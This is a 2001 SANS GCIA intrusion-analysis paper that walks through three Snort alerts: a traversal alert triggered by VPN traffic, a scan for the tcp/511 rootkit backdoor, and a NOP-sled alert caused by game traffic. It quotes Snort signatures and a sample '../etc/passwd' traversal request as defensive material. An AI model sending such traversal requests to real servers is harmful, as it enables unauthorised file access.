Global Information Assurance Certification Paper

SANS GIAC Certified Intrusion Analyst (GCIA) Exam

Alex Stephens

Submitted March 25, 2001

Section 1: Network Detects

Network Detect #1 (A Web Vulnerability False Alarm)

0. The detect:

```
[**] IDS297 - WEB MISC - http-directory-traversal 1 [**]
03/21-10:10:21.769174 12.20.28.126:2 -> xx.xx.xx.3:80
TCP TTL:36 TOS:0x0 ID:7309 IpLen:20 DgmLen:894
***AP*** Seq: 0x23E60107  Ack: 0x18AF0  Win: 0xFFFF  TcpLen: 20
01 32 00 00 03 EB 00 00 1C 8D 53 70 D2 10 76 39  .2........Sp..v9
21 EE 5B EB 67 13 92 13 33 0D 04 C4 62 99 CB DD  !.[.g...3...b...
3E 9B EC 63 A6 89 82 42 DC 61 57 16 71 F9 A8 F9  >..c...B.aW.q...
D0 75 7F 88 BD 6A 67 3E 5B 88 21 B3 3C A9 A9 40  .u...jg>[.!.<..@
AE A5 38 39 E9 7B 3C E2 63 F3 47 90 12 42 E4 CD  ..89.{<.c.G..B..
D9 6D 38 8A 26 4D BF C8 08 E3 A2 A5 B5 F7 8B 8A  .m8.&M..........
2C C8 35 AE 69 00 D8 FC 2F F9 20 20 80 71 26 9B  ,.5.i.../.  .q&.
2B 52 1F 62 53 5F 8D 6E 90 3C AE C1 7D 22 59 D8  +R.bS_.n.<..}"Y.
D8 67 42 0C CD 2E D3 41 25 5F 06 48 AB 11 55 B0  .gB....A%_.H..U.
40 EF 16 8F F0 CD F2 A0 00 69 09 8E 1B D2 55 88  @........i....U.
22 60 C1 7F B8 FE C4 62 1B 58 8E 51 47 DC 05 DB  "`.....b.X.QG...
38 58 BF E3 47 DF 59 F2 DA 23 0D F1 98 F3 35 EE  8X..G.Y..#....5.
FD A5 D8 F3 5B 95 E0 12 0B 2D 94 01 93 07 27 A6  ....[....-....'.
0A 71 B1 F1 23 A2 C9 49 A4 9E AF 50 D2 92 2E 82  .q..#..I...P....
C1 43 88 2B CE DC D5 81 36 3D C1 74 40 EC E7 79  .C.+....6=.t@..y
B5 78 77 33 07 3F D5 21 26 35 A3 45 B8 E6 0A 36  .xw3.?.!&5.E...6
1F BE E8 B1 13 62 58 00 41 47 FE 17 D5 12 60 99  .....bX.AG....`.
31 3D 47 4D 7B 2E D6 34 7C A1 5E 7B 7D FE 9F 81  1=GM{..4|.^{}...
41 10 C6 49 7F 7E FA 4D E6 2D D5 68 F4 3D 2B 28  A..I.~.M.-.h.=+(
D0 09 CD AD 0C BF D1 D5 CA CD B4 43 1F E8 AB 34  ...........C...4
01 12 73 04 F0 B2 1C E8 4F F4 AD 7F A4 CD BD 63  ..s.....O.......c
BC 97 31 F3 D9 9D 73 97 47 BD B1 3D 18 EA B1 D8  ..1...s.G..=....
91 10 2D E7 B6 FF F5 5C D2 66 11 DE 05 40 D3 22  ..-....\.f...@."
DE 75 48 29 40 01 F2 52 0E 1F F6 FE F8 D5 79 99  .uH)@..R......y.
CA 6F B4 ED B8 1E FF 0D 85 81 CA 1B C7 3E 6B EF  .o...........>k.
```

```
4D 81 0B 44 24 B6 69 3B 47 C2 11 09 02 B6 D1 69  M..D$.i;G......i
B9 0D E1 BE 1B A9 45 58 6D 36 6F A3 21 77 89 87  ......EXm6o.!w..
02 C8 DA C6 DD C1 01 6D FE AA 47 49 AA E9 B9 D3  .......m..GI....
03 2A 03 B1 78 20 A7 D2 7F 6E A9 52 53 FB 11 1E  .*..x ...n.RS...
0E C1 B6 1C F7 A7 CD F1 EE C1 96 2F 22 49 B3 70  ........../"I.p
36 E8 EA B5 BC 42 07 8A 27 E3 54 5E F6 6C 31 7F  6....B..'.T^.l1.
A8 E0 B1 5C 3B F8 F7 EE F4 09 87 DA AA 3C BE 28  ...\;........<.(
81 51 F7 BC 50 0E 81 91 F2 B6 B5 9F B0 8C 0B A9  .Q..P...........
93 48 F5 D1 2A 30 00 39 B5 53 6B 34 15 94 AD F4  .H..*0.9.Sk4....
9E E0 48 C4 6B 87 E3 10 4F 03 D3 97 44 E4 72 EB  ..H.k...O...D.r.
B1 77 6B A7 3A DE 4C CB 15 C1 46 CA 1D 4C E0 35  .wk.:.L...F..L.5
88 A1 C4 FE FE 1B E6 BA 8D 26 0B 66 F3 A9 F2 70  .........&.f...p
0D 3C D3 43 2B D3 83 7E 78 B6 6A 75 63 11 EB 57  .<.C+..~x.juc..W
4B A1 23 E3 77 F9 4C 19 26 84 0C 7F 1B 54 EA 0A  K.#.w.L.&....T..
4A 0B 85 CD 56 28 F2 27 48 49 B9 69 03 50 73 29  J...V(.'HI.i.Ps)
08 FC 1D 83 18 A1 11 A5 82 F4 7C F5 8D 5E C6 BA  ..........|..^..
E5 45 00 E2 CB 4D F2 A5 1D DD C4 27 9E 03 37 BC  .E...M.....'..7.
24 C4 7D 4D 72 CE F6 0C 91 FB A4 EC D5 78 4D BF  $.}Mr........xM.
1C 8E C4 56 3D CD FA BC 9C 6B 84 B3 9C CA C7 A0  ...V=....k......
6F 9B 3D B1 65 DA 63 2D 73 E1 A1 B6 E3 CB 82 68  o.=.e.c-s......h
D6 B4 7E B7 77 56 6A 2B 63 5B 29 04 3E 62 4E B0  ..~.wVj+c[).>bN.
E9 EB FF 54 AF 33 84 2E 2E 2F 1C 9D C0 27 6C E1  ...T.3.../...'l.
45 CC BB EF B2 56 FC C2 88 F7 10 2E 62 CF AE 47  E....V......b..G
18 23 6F FE 3E 51 FA F2 F6 FE 89 F1 34 3C 2E 2F  .#o.>Q......4<./
7B 3A B3 34 D4 30 E1 88 B3 FE B1 67 6A 05 D2 2D  {:.4.0.....gj..-
AA F1 45 2F 00 DF B5 59 AA 3A FB 36 1D 08 40 86  ..E/...Y.:.6..@.
AD 33 A4 8F 10 62 87 A4 C5 74 00 8A C8 2A B4 7B  .3...b...t...*.{
C3 ED 19 4E 81 63 88 66 45 F8 68 6F 65 BA E1 F5  ...N.c.fE.hoe...
76 D2 7B EE 10 7F                                v.{...
```

1. Source of trace:

The IDS sensor is observing all inbound and outbound traffic destined for a Class C public address range owned and managed by my employer.

2. Detect generated by:

The IDS sensor is Snort v1.7 running on Solaris/SPARC. The sensor was logging, for the purposes of this exercise, to flat files and dumping the application data. The rule set dates from Jan. 23, 2001 and was taken from the compilation housed at www.snort.org.

The rule match which triggered this alert was:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg: "IDS297 - WEB MISC - http-
```

directory-traversal 1"; flags:PA; content: "../";)

3. Probability that the source address was spoofed:

Fairly small. The Snort alert triggers when it sees (1) packet content containing "../", (2) the TCP push and ACK flags set, and (3) traffic destined to port tcp/80. The TCP flags observed in the packet would suggest that a three-way handshake had already taken place between the client and server. Thus it is improbable that the source address was spoofed. Additional evidence (see below) verifies that a full TCP connection between the two machines was, in fact, established.

4. Description of the attack:

The Snort alert implies that this packet is an attempt to view files on a web server that would normally be inaccessible. Tha such an action is possible is a result of vulnerabilities in the implementation of certain CGI scripts, for example. Such an attack could make sensitive information publicly accessible.

A summary of the alert IDS297 is available at (www.whitehats.com/IDS/297):

> This signature may indicate an attempt to traverse directory limitations through a vulnerable web server daemon or CGI script. This alert could be caused by several different attacks based on "../" directory traversal.
>
> Numerous web servers and CGI scripts are vulnerable to directory traversal attacks. In many cases the web application may intend to allow access to a particular portion of the file system. Without proper checking of user input, a user could often add ".." directories to the path allowing access to parent directories, possibly climbing to the root directory and being able to access the entire file system.

While there are a variety of CVE vulnerabilities related to this type of "dot dot" attack (CVE-1999-0842, CVE-1999-0887, CVE-2000-0436) the evidence does not point to this type of attack in this particular instance.

5. Attack mechanism:

The first match of the "../" signature in the above packet payload is:

```
2C C8 35 AE 69 00 D8 FC 2F F9 20 20 80 71 26 9B  ,.5.i.../.  .q&.
```

This does not match what one might expect out of a HTTP directory traversal. Namely, one would expect to observe a HTTP GET followed by a path containing the string "../". The www.whitehats.org sample packet shows for example:

```
07/08-12:29:21.103460 attacker:1737 -> target:80
TCP TTL:64 TOS:0x10 ID:48175  DF
*****PA* Seq: 0x8CDE2D5B   Ack: 0xD24163C   Win: 0x7FB8
TCP Options => NOP NOP TS: 152351356 190236
47 45 54 20 2F 63 67 69 2D 62 69 6E 2F 66 6F 6F  GET /cgi-bin/foo
62 61 72 2E 70 6C 3F 2F 62 6F 72 69 6E 67 2F 2E  bar.pl?/boring/.
2E 2F 2E 2E 2F 2E 2E 2F 65 74 63 2F 70 61 73 73  ./../../etc/pass
77 64 20 48 54 54 50 2F 31 2E 30 0A              wd HTTP/1.0.
```

Thus the alert observed here is either atypical or a false alarm -- actually it is a false alarm.

Further investigation of the destination address revealed that it was a corporate VPN server. This particular flavor of VPN server has a client-side option which enables a remote user to "pass through" a firewall.

The mechanism used actually wraps the IPSec packet bound for the VPN server in a TCP packet and directs it to port 80 of the VPN server. Thus, the packet will appear (to most firewalls) to be web traffic. However, the payload of the packet is the encrypted IPSec data -- not cleartext HTTP data. Thus the encrypted data may have, on occasion, a character sequence which matches the expression match in the Snort alert.

This combination of TCP-wrapped IPSec data and a destination port of 80 is what triggered the Snort alert. A scan of the VPN logs for that day reveals that a valid VPN connection was made from the source IP address listed above.

6. Correlations:

This is a fairly unique "attack" as it is directly related to the way this specific vendor attempts to circumvent firewall rule sets (i.e., wrapping the IPSec traffic in TCP headers destined for port 80).

This alarm is triggered often during times of peak VPN usage as the encrypted data will often match the "../" string. That is it is repeatable.

As a further point of correlation, a user (from the sam source IP address) was logged into the VPN server during the window when this alert occured.

7. Evidence of active targeting:

This is not active targeting as it was a well understood false alarm.

8. Severity:

Severity = (Target Criticality + Attack Lethality) - (Sys. Countermeasures + Net. Countermeasures)

Target Criticality = 5 (The "target" is a VPN server)
Attack Lethality = 0 (This is a false alarm)
System Countermeasures = 5 (VPN requires two-factor authentication to establish a tunnel)
Network Countermeasures = 0 (TCP traffic to port 80 is allowed)

Severity = 0

9. Defense recommendation:

Given that VPN access is allowed for remote users, there is not much additional hardening that can be done other than: (1) place the VPN behind the firewall so that access logs track VPN access, (2) implement router ACLs and firewall rules which limit inbound connections only to known IPSec (udp/50, udp/51, udp/500) or the special wrapped IPSec data (tcp/80).

Since the VPN is a conduit into the organization, it makes sense to require two-factor authentication schemes. Also, old and defunct user accounts should be purged frequently.

10. Multiple choice question:

```
[**] IDS297 - WEB MISC - http-directory-traversal 1 [**]
03/21-10:10:21.769174 12.20.28.126:2 -> xx.xx.xx.3:80
TCP TTL:36 TOS:0x0 ID:7309 IpLen:20 DgmLen:894
***AP*** Seq: 0x23E60107  Ack: 0x18AF0  Win: 0xFFFF  TcpLen: 20
01 32 00 00 03 EB 00 00 1C 8D 53 70 D2 10 76 39  .2........Sp..v9
21 EE 5B EB 67 13 92 13 33 0D 04 C4 62 99 CB DD  !.[.g...3...b...
3E 9B EC 63 A6 89 82 42 DC 61 57 16 71 F9 A8 F9  >..c...B.aW.q...
D0 75 7F 88 BD 6A 67 3E 5B 88 21 B3 3C A9 A9 40  .u...jg>[.!.<..@
AE A5 38 39 E9 7B 3C E2 63 F3 47 90 12 42 E4 CD  ..89.{<.c.G..B..
D9 6D 38 8A 26 4D BF C8 08 E3 A2 A5 B5 F7 8B 8A  .m8.&M..........
2C C8 35 AE 69 00 D8 FC 2F F9 20 20 80 71 26 9B  ,.5.i.../.  .q&.
2B 52 1F 62 53 5F 8D 6E 90 3C AE C1 7D 22 59 D8  +R.bS_.n.<..}"Y.
D8 67 42 0C CD 2E D3 41 25 5F 06 48 AB 11 55 B0  .gB....A%_.H..U.
40 EF 16 8F F0 CD F2 A0 00 69 09 8E 1B D2 55 88  @........i....U.
22 60 C1 7F B8 FE C4 62 1B 58 8E 51 47 DC 05 DB  "`.....b.X.QG...
38 58 BF E3 47 DF 59 F2 DA 23 0D F1 98 F3 35 EE  8X..G.Y..#....5.
FD A5 D8 F3 5B 95 E0 12 0B 2D 94 01 93 07 27 A6  ....[....-....'.
0A 71 B1 F1 23 A2 C9 49 A4 9E AF 50 D2 92 2E 82  .q..#..I...P....
```

The highlighted line triggered a web-traversal "dot dot" attack. What happened to the HTTP GET line?
A) This is HTTPS traffic.
B) The attacker is spreading the HTTP GET across many packets to fool the

IDS.
C) The attacker is using a non-standard character set.
D) None of the above.

The answer is (D) None of the above -- this is actually an encrypted, TCP-wrapped IPSec packet. Answer A is wrong because the destination port is tcp/80. Answer B is incorrect because splitting a signature across many packets usually results in many small packets each containing a small piece of the to-be-reassembled-string; however, here the offending string "../" is buried deep within a large packet. Answer C also is unlikely as non-standard character sets still have well defined characters which would appear in the packet, but the above trace contains mostly nonsensical characters.

Network Detect #2 (The search for a backdoor)

0. The detect:

```
[**] IDS441 - SCAN - Synscan Portscan [**]
03/17-05:42:57.996717 211.75.158.18:511 -> xx.xx.xx.2:511
TCP TTL:26 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x487BCFFB  Ack: 0x2B99F3  Win: 0x404  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] IDS441 - SCAN - Synscan Portscan [**]
03/17-05:42:58.016444 211.75.158.18:511 -> xx.xx.xx.3:511
TCP TTL:26 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x487BCFFB  Ack: 0x2B99F3  Win: 0x404  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] IDS441 - SCAN - Synscan Portscan [**]
03/17-05:42:58.037061 211.75.158.18:511 -> xx.xx.xx.4:511
TCP TTL:26 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x487BCFFB  Ack: 0x2B99F3  Win: 0x404  TcpLen: 20
```

... There are additional detects for all inhabitants of the public Class C monitored.

1. Source of trace:

The IDS sensor is observing all inbound and outbound traffic destined for a Class C public address range owned and managed by my employer.

2. Detect generated by:

The IDS sensor is Snort v1.7 running on Solaris/SPARC. The sensor was logging, for the purposes of this exercise, to flat files and dumping the application data. The rule set dates from Jan. 23, 2001 and was taken from the compilation housed at www.snort.org.

The rule match which triggered this alert was:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "IDS441 - SCAN - Synscan
Portscan"; id: 39426; flags: SF;)
```

3. Probability that the source address was spoofed:

While we only detected connection attempts from the source address in question, it seems unlikely that this is a spoofed address. In particular, the information collected about port tcp/511 (see below) suggests that this is a standard backdoor port. The scanner is probably interested in actually finding compromised servers running this root kit; thus, they would want the information returned to them. As a result, it is improbable that the source address was spoofed.

4. Description of the attack:

The attack appears to be a fairly common port scan. The IDS is monitoring a full class C address range. All addresses within that range were probed for an open port on tcp/511.

To verify that the servers on this Class C (which are protected by a firewall) were probed, the firewall logs were scanned for dropped packets to this port. The result, a fwlogsum (www.ginini.com.au/tools/fw1) summary of the Checkpoint FW-1 logs, shows that the class C was systematically probed (and that each of the probes was rejected by the firewall)

```
Reporting period for matched data: 16 Mar 2001 at 23:58:10 to 17 Mar 2001 at
23:58:08
Report generated on:

Total entries processed: 410483
Entries matched on: 195
Inbound traffic: 403613
Outbound traffic: 6869
```

```
Control Messages: 1
Entries ignored: 22503
Translated addresses: 1

Page:  1
FW-1 HOST    SOURCE ADDRESS      DESTINATION  SERVICE
-------------------------------------------------------------
zz.zz.zz.2   211.75.158.18(511)  xx.xx.xx.2   tcp(511)
zz.zz.zz.2   211.75.158.18(511)  xx.xx.xx.3   tcp(511)
zz.zz.zz.2   211.75.158.18(511)  xx.xx.xx.4   tcp(511)
...
```

Moreover, the Snort Portscan preprocessor registered a similar alert due to the large volume of connections within a small time interval (6 connections within 5 seconds)

```
Mar 17 05:42:57 211.75.158.18:511 -> xx.xx.xx.2:511 SYNFIN ******SF
Mar 17 05:42:58 211.75.158.18:511 -> xx.xx.xx.3:511 SYNFIN ******SF
Mar 17 05:42:58 211.75.158.18:511 -> xx.xx.xx.4:511 SYNFIN ******SF
Mar 17 05:42:58 211.75.158.18:511 -> xx.xx.xx.6:511 SYNFIN ******SF
...
```

5. Attack mechanism:

A few interesting tidbits were gleaned from a scan of the entire network trace. Clearly, the tool used is a port scanner which is capable of rapidly scanning a large number of hosts quickly. The tool used shows these particular traits.

1) The manufactured TCP sequence number and acknowledgement number changes only after approximately 50 hosts have been scanned. Moreover, there is an Ack: number included in the header (this is not expected of an initial connection).

We observed:

```
6  instances of ******SF Seq: 0x487BCFFB  Ack: 0x2B99F3  Win: 0x404  TcpLen:
20
13 instances of ******SF Seq: 0x76A78E14  Ack: 0x35558D07  Win: 0x404
TcpLen: 20
50 instances of ******SF Seq: 0x64DABA42  Ack: 0x2A947E20  Win: 0x404
TcpLen: 20
50 instances of ******SF Seq: 0x12E5529A  Ack: 0x1F889F26  Win: 0x404
TcpLen: 20
50 instances of ******SF Seq: 0x8B13C0  Ack: 0x54266B48  Win: 0x404  TcpLen:
```

```
20
29 instances of ******SF Seq: 0x6E795191  Ack: 0x4936DC86  Win: 0x404
TcpLen: 20
```

2) The same ID number is used for each packet generated (this is part of the alert)

```
TCP TTL:26 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
TCP TTL:26 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
...
```

3) Both the SYN and FIN flags are set for each packet, which is nonsensical.

Part of the description for this alert on www.whitehats.com/IDS/441 states:

> SYN - FIN only happens in portscans; and if in such a scan you have a packet with ID 39426, it will trigger the rule, too. Another clear sign is a window size of 0x404, plus the sourceport of the packet always equals the destination port. Note that with synscan EVERY packet has ID 39426.

In other words, this scan matched **ALL** of the characteristics generally associated with this scanner. The commentary at whitehats.com goes on to state

> I got quite a few scans with the distinctive features described above. Scanning back I found they were mainly coming back from compromised RedHat boxes. In several mailing lists people argued what tool caused these traces, and somebody identified them as synscan's typical packet signature. Having seen logfiles from one of the cracked hosts one could easily tell this tool is definitely intensily used by the usual sKr1pT k1DD13 hordes at the time, and I thought you might want to know who's probing you with what - so I wrote a rule.

While the tool used to manufacture these packets is not definitively known to the author, it seems probable that synscan is the culprit.

6. Correlations:

There is at least one reported connection attempt to a server on port tcp/511 in the SANS GIAC archive. That info can be found at http://www.sans.org/y2k/022701-1600.htm and the text suggests that port tcp/511 is a backdoor. The quote from SANS/GIAC is:

> A customer of ours was recently had multiple servers compromised and has since been restored to operation. The attacker used a BIND 8.2.2-P5 exploit and once inside installed the t0rn rootkit. After the server was cleaned, access to the rootshell port (TCP 511) was blocked at the router.

The suggestion that tcp/511 is a common root kit backdoor port is upheld by the folks at Network ICE (http://advice.networkice.com/advice/Exploits/Ports/511/default.htm):

> (TCP) Part of rootkit t0rn, a program called "leeto's socket daemon" runs at this port.

Also, there were a series of scans to tcp/511 reported to the attack clearing house www.dshield.org. In particular, several scans were reported on 3/10/2001 and 2/27/2001. This may mean that the source address in question is doing large scale scanning across multiple address spaces. Info on the source address from ARIN includes:

```
inetnum:     211.75.158.16 - 211.75.158.23
netname:     JF-NET
descr:       Jen, Fan
descr:       10F, No.192, Sec.1, Chung Hua Rd., Taipei
descr:       Taipei Taiwan
country:     TW
admin-c:     FJ1-TW
tech-c:      FJ1-TW
remarks:     This information has been partially mirrored by APNIC
from
remarks:     TWNIC. To obtain more specific information, please use
the
remarks:     TWNIC whois server at whois.twnic.net.
mnt-by:      TWNIC-AP
changed:     twnic-update@hinet.net 20001206
```

7. Evidence of active targeting:

It seems clear, given the nature of the port (tcp/511 == backdoor root shell to compromised servers) that this is active targeting. The attackers/searchers appear to be looking for previously compromised servers running "leeto's socket daemon".

8. Severity:

Severity = (Target Criticality + Attack Lethality) - (Sys. Countermeasures + Net. Countermeasures)

Target Criticality = 5 (All targets are public servers)
Attack Lethality = 3 (This is an information gathering exercise only)
System Countermeasures = 5 (No servers were running the backdoor)
Network Countermeasures = 5 (The firewall denies all inbound connections to this port tcp/511)

Severity = -2

9. Defense recommendation:

The recommendations are fairly straightforward: (1) Perform routine, proactive scanning of your network for tcp/511 to determine if a server has been compromised. (2) If the servers are protected by a firewall, disallow inbound connections to the server on tcp/511. (3) As an additional layer of security, prevent inbound connection attempts to your servers using packet filtering ACLs on your order routers.

10. Multiple choice question:

```
[**] IDS441 - SCAN - Synscan Portscan [**]
03/17-05:42:57.996717 211.75.158.18:511 -> xx.xx.xx.2:511
TCP TTL:26 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x487BCFFB  Ack: 0x2B99F3  Win: 0x404  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] IDS441 - SCAN - Synscan Portscan [**]
03/17-05:42:58.016444 211.75.158.18:511 -> xx.xx.xx.3:511
TCP TTL:26 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x487BCFFB  Ack: 0x2B99F3  Win: 0x404  TcpLen: 20
```

What evidence is there that the tool used to scan these hosts is a "homegrown" packet crafting scanner?

A) Both packets have identical Sequence numbers
B) Both packets have identical ID numbers
C) Both packets have the SF flags set
D) All of the above

The answer is D as one does not expect a well written TCP application to use consistently identical Sequence numbers, identical ID numbers or set both the SYN and FIN flags.

Network Detect #3 (Buffer Overflow False Alarm)

0. The detect:

```
[**] IDS362 - MISC - Shellcode X86 NOPS-UDP [**]
03/16-21:28:30.295428 24.94.1.150:7777 -> xx.xx.xx.250:32027
UDP TTL:123 TOS:0x0 ID:30415 IpLen:20 DgmLen:536
Len: 516
9C 11 03 B8 79 A8 9F 90 90 90 90 90 90 90 90 90  ....y...........
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0  ................
C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 C0 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 10              ............
```

1. Source of trace:

The IDS sensor is observing all inbound and outbound traffic destined for a Class C public address range owned and managed by my employer.

2. Detect generated by:

The IDS sensor is Snort v1.7 running on Solaris/SPARC. The sensor was logging, for the purposed of this exercise, to flat files and dumping the application data. The rule set dates from Jan. 23, 2001 and was taken from the compilation housed at www.snort.org.

The rule match which triggered this alert was:

```
alert udp $EXTERNAL_NET any -> $HOME_NET any (msg: "IDS362 - MISC - Shellcode
X86 NOPS-UDP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90|";)
```

3. Probability that the source address was spoofed:

Although the traffic is UDP data, which does not require a three-way handshake between the source and destination hosts, it is unlikely that this particular data is spoofed.

We can say this with some confidence as auxiliary logs (see the correlations section) show that the traffic flow to the external host was originated by a host behind the firewall.

In particular, the firewall logs record an accepted connection from yy.yy.yy.16:1080 (which is Port Address Translated to xx.xx.xx.250:32027) to the source host seen in the above trace. The PAT'd port as well as the destination port match the converse on the detected packet. The protocol numbers (udp/7777) also match.

E.g., the firewall showed a typical connection as:

Source Addr/PAT'd Source (PAT'd ports)	Destination Addr	Protocol
yy.yy.yy.16/xx.xx.xx.250(1080/32027)	24.94.1.150	udp(7777)

Note: While the original source port of 1080 may cause some consternation, the data is (1) not TCP traffic and (2) the supporting firewall logs show a prior connection from yy.yy.yy.16:1077 which suggests that the source port is being incremented with each new connection.

4. Description of the attack:

Is this detect part of a true NOP-slide? The answer is No.

Rather, this traffic is associated with a game server. The URL www.planetunreal.com/nzone/ut_networking.html was instrumental in understanding that this packet is a false alarm. In particular, this site describes the normal types of traffic associated with the game "Unreal". The site describes traffic to udp/7777 and udp/7778:

> **Server Query Receive UDP Port (7777 by default)**
>
> UDP Port 7777 is the default port which an Unreal Tournament Server receives ping/queries from clients. It is also the port which Unreal Tournament uses to negotiate a network connection for online play.
>
> This port can be set by editing your UnrealTournament.ini file and finding the [URL] section, usually at the beginning of the file. The parameter is called Port.
>
> **Master Server "Heartbeat" UDP Port (Always Server Query Receive Port + 1, usually 7778)**
>
> UDP Port 7778, by default, is used to send "heartbeat" packets to the Master Server every few minutes to let the Master Server know the game server is still online. If you are running a private game that is not listed on the Master Server List then this is moot. If you are running behind a firewall then you must allow outgoing data through this port in order to get your server publicly listed.

To support the theory that this is a game, I extracted data from the perimeter Checkpoint firewall looking for accepted connections to the source address of the above detect. A summary of the firewall log (generated using fwlogsum) shows not only the originating UDP packet with the matching SRC/DST port pair, but also the type of game "heartbeat" (udp/7778) traffic described above.

Firewall-1 Log Summariser Report
Accepted Packets
Sorted by count
Report format: 132 columns
Only including lines matching: "24.94.1.150"
Reporting period for matched data: 15 Mar 2001 at 23:58:46 to 16 Mar 2001 at 23:58:09

Page: 1

FW-1 HOST	SOURCE ADDRESS	DESTINATION	SERVICE
zz.zz.zz.2	yy.yy.yy.16(No-service)	24.94.1.150	icmp(3/3)
zz.zz.zz.2	yy.yy.yy.16/xx.xx.xx.250(1077/31977)	24.94.1.150	udp(7777)
zz.zz.zz.2	yy.yy.yy.163/xx.xx.xx.250(2005/30344)	24.94.1.150	udp(7778)

```
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2000/32033)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.163/xx.xx.xx.250(2005/28342) 24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.163/xx.xx.xx.250(2000/28357) 24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2000/32026)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.163/xx.xx.xx.250(2005/28326) 24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.163/xx.xx.xx.250(2006/28345) 24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2000/32128)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2000/32462)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2000/32806)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2008/32024)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(1080/32027)  24.94.1.150 udp(7777)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2000/29262)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2000/32944)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2002/30846)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(1121/32764)  24.94.1.150 udp(7777)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2006/31662)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2010/31893)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2000/32759)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(2006/33259)  24.94.1.150 udp(7778)
zz.zz.zz.2 yy.yy.yy.16/xx.xx.xx.250(1124/32785)  24.94.1.150 udp(7777)
zz.zz.zz.2 yy.yy.yy.163/xx.xx.xx.250(2986/28358) 24.94.1.150 udp(7777)
```

